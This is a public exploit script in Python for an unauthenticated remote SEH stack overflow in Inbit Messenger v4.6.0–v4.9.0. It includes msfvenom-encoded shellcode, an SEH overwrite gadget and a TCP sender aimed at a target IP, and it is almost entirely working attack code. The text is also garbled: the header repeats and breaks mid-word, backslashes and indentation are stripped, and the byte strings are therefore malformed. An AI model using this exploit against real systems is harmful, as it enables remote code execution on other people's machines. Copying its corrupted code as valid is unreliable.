# Exploit Title: Inbit Messenger v4.9.0 - Unauthenticated Remote SEH Overflow
# Date: 11/08/2022
# Exploit Author: a-rey
# Vendor Homepage: http://www.inbit.com/support.html
# Sof # Exploit Title: Inbit Messenger v4.9.0 - Unauthenticated Remote SEH Overflow
# Date: 11/08/2022
# Exploit Author: a-rey
# Vendor Homepage: http://www.inbit.com/support.html
# Software Link: http://www.softsea.com/review/Inbit-Messenger-Basic-Edition.html
# Version: v4.6.0 - v4.9.0
# Tested on: Windows XP SP3, Windows 7, Windows 10
# Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Inbit_Messenger/v4.6.0/writeup.md

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys, socket, struct, argparse, logging

"""
/opt/metasploit-framework/bin/msfvenom
-p windows/messagebox
ICON=WARNING
TEXT="get wrecked"
TITLE="LOLZ"
EXITFUNC=thread
-f py
-v SHELLCODE
-e x86/shikata_ga_nai
-b 'x3E'
"""
SHELLCODE = b""
SHELLCODE += b"xbaxbdx3dx03xfaxd9xc9xd9x74x24xf4"
SHELLCODE += b"x5bx31xc9xb1x41x31x53x14x03x53x14"
SHELLCODE += b"x83xc3x04x5fxc8xdax11x04xeaxa9xc1"
SHELLCODE += b"xcex3cx80xb8x59x0exedxd9x2ex01xdd"
SHELLCODE += b"xaax46xeex96xdbxbax65xeex2bx49x07"
SHELLCODE += b"xcfxa0x7bxc0x40xafxf6xc3x06xcex29"
SHELLCODE += b"xdcx58xb0x42x4fxbfx15xdfxd5x83xde"
SHELLCODE += b"x8bxfdx83xe1xd9x75x39xfax96xd0x9e"
SHELLCODE += b"xfbx43x07xeaxb2x18xfcx98x44xf0xcc"
SHELLCODE += b"x61x77xccxd3x32xfcx0cx5fx4cx3cx43"
SHELLCODE += b"xadx53x79xb0x5ax68xf9x62x8bxfaxe0"
SHELLCODE += b"xe1x91x20xe2x1ex43xa2xe8xabx07xee"
SHELLCODE += b"xecx2axf3x84x09xa7x02x73x98xf3x20"
SHELLCODE += b"x9fxfax38x9ax97xd5x6ax52x42xacx50"
SHELLCODE += b"x0dx03xe1x5ax22x49x16xfdx45x91x19"
SHELLCODE += b"x88xffx6ax5dx65x31x92xc1xfexd2x77"
SHELLCODE += b"x50xe8x65x88xabx17xf0x32x5cx8fx6f"
SHELLCODE += b"xd1x7cx0ex18x1ax4fxbexbcx34xdaxcd"
SHELLCODE += b"x59xb7x14xeax2ax6bx71x06xa2x72x2f"
SHELLCODE += b"xe9xe1x7ex59xd7x5axc4xf1x75x17x86"
SHELLCODE += b"x85x65x8cxa4x61xcax33xb7x8dx9cx93"
SHELLCODE += b"x68x52x7cx4cx25xddx30xd6x84x3ax40"
SHELLCODE += b"xbaxc2xb8xd9xa0x63xaaxbcx42x2cx44"
SHELLCODE += b"x49xf9xa9xf7xddx9ax54x8cx3dx54x5e"
SHELLCODE += b"xe4x71xb2x6bx7cx68x8bxb9x14x5axbf"
SHELLCODE += b"x6cxbbx65xefxbexfbxc9xefx94xf3"

BANNER = """33[0m33[1;35m
╔═════════════════════════════════════════════════════════════════════╗
║33[0m Inbit Messenger v4.6.0 - v4.9.0 Unauthenticated Remote SEH Overflow 33[1;35m║
╚═════════════════════════════════════════════════════════════════════╝33[0m
by: 33[1;36m █████╗ ██████╗ ███████╗██╗ ██╗
33[1;36m██╔══██╗ ██╔══██╗██╔════╝██║ ██║
33[1;36m███████║ ███ ██████╔╝█████╗ ██╗ ██═╝
33[1;36m██╔══██║ ██╔══██╗██╔══╝ ██╔╝
33[1;36m██║ ██║ ██║ ██║███████╗ ██║
33[1;36m╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝
33[0m"""

BAD_BYTES = b"x3e" # >
PAYLOAD_LENGTH = 2000

nSEH = b"xEBx06x90x90" # JMP SHORT 0x8; NOP; NOP
SEH = struct.pack("<I", 0x263ae1bd) # ipworks6.dll | POP EBP; POP EBX; RET

# NOTE: sets the TEB's ACTIVATION_CONTEXT_STACK.ActiveFrame = NULL
NULL_ACT_CTX_STUB = b"x31xC0xBBx00x10"
NULL_ACT_CTX_STUB += b"x00x00x64x8Bx48"
NULL_ACT_CTX_STUB += b"x18x39x99xA8x01"
NULL_ACT_CTX_STUB += b"x00x00x7Cx0Ax8B"
NULL_ACT_CTX_STUB += b"x99xA8x01x00x00"
NULL_ACT_CTX_STUB += b"x89x03xEBx06x89"
NULL_ACT_CTX_STUB += b"x81xB0x01x00x00"

def exploit(targetIp:str, targetPort:int) -> None:
pkt = b"<"
pkt += (b"A" * 40)
pkt += nSEH
pkt += SEH
pkt += NULL_ACT_CTX_STUB
pkt += (b"x90" * 32) # NOP sled for shikata_ga_nai decoder
pkt += SHELLCODE
# NOTE: need to send 1600+ bytes to overwrite beyond top of thread's stack
pkt += (b"B" * (PAYLOAD_LENGTH - len(pkt)))
# NOTE: check for bad bytes
for c in pkt:
if c in BAD_BYTES:
logging.error(f"found bad byte 0x{c:02x} in payload")
sys.exit(-1)
logging.info(f"sending {len(pkt)} byte payload to {targetIp}:{targetPort} ...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((targetIp, targetPort))
s.send(pkt)
s.close()
logging.success("DONE")

if __name__ == '__main__':
# parse arguments
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)
parser.add_argument('-t', '--target', help='target IP', type=str, required=True)
parser.add_argument('-p', '--port', help='target port', type=int, required=False, default=10883)
args = parser.parse_args()
# define logger
logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO')
logging.SUCCESS = logging.CRITICAL + 1
logging.addLevelName(logging.SUCCESS, '33[0m33[1;32mGOOD33[0m')
logging.addLevelName(logging.ERROR, '33[0m33[1;31mFAIL33[0m')
logging.addLevelName(logging.WARNING, '33[0m33[1;33mWARN33[0m')
logging.addLevelName(logging.INFO, '33[0m33[1;36mINFO33[0m')
logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args)
# print banner
print(BANNER)
# run exploit
exploit(args.target, args.port)